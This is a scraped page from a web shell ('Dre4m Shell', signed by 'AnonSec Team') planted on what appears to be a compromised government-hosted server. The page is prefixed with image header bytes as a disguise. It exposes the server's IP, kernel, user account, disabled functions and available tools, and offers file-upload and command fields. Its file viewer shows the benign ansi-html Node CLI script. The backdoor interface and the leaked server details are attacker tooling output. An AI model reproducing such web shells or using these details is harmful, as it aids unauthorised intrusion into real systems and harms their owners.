ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.73.163
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/ansi-html/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/ansi-html/bin/ansi-html
#!/usr/bin/env node

var ansiHTML = require('../')
var pkg = require('../package.json')
var l = console.log
var w = console.warn

var stdoutFlushed = true
var readingStdin = false

function logLine (line) {
  if (!line) {
    return
  }
  line = ansiHTML(line)
  try {
    stdoutFlushed = process.stdout.write(line)
  } catch (e) {}
}

function safeExit (code) {
  l('')
  process.exit(code)
}

function processStdin (finish) {
  readingStdin = true
  var chunks = ''
  process.stdin.resume()
  process.stdin.setEncoding('utf-8')
  process.stdin.on('data', function (chunk) {
    var lines = chunk.split(/[\r\n]+/g).filter(function (line) {
      return line
    })
    var length = lines.length
    if (length === 1) {
      chunks += lines[0]
      return
    }
    if (length > 1) {
      logLine(chunks + (chunks ? '\n' : '') + lines[0] + '\n')
    }
    chunks = lines.pop()
    length -= 1
    for (var i = 1; i < length; i++) {
      logLine(lines[i] + '\n')
    }
  })
  process.stdin.on('end', function () {
    if (chunks) {
      logLine(chunks)
    }
    finish()
  })
}

function stdoutDrain (code) {
  process.stdout.on('drain', function () {
    safeExit(code)
  })
  if (stdoutFlushed) {
    safeExit(code)
  }
}

function startup (args) {
  if (args.indexOf('-h') > 0 || args.indexOf('--help') > 0) {
    l(pkg.name + '@' + pkg.version)
    l('Usage:')
    l('   ansi-html [options]')
    l('   ... | ansi-html [options]')
    l('Options:')
    l('   -h, --help print help information')
    return
  }

  process.stdout.on('error', function (err) {
    if (err.code === 'EPIPE') {
      stdoutDrain(0)
    } else {
      w('stdout error:', err)
      stdoutDrain(1)
    }
  })

  processStdin(function () {
    safeExit(0)
  })
}

if (require.main === module) {
  startup(process.argv)
}

process.on('SIGINT', function () {
  if (!readingStdin) {
    safeExit(1)
  }
})
process.on('SIGQUIT', function () { safeExit(1) })
process.on('SIGTERM', function () { safeExit(1) })
process.on('SIGHUP', function () { safeExit(1) })

Anon7 - 2022
AnonSec Team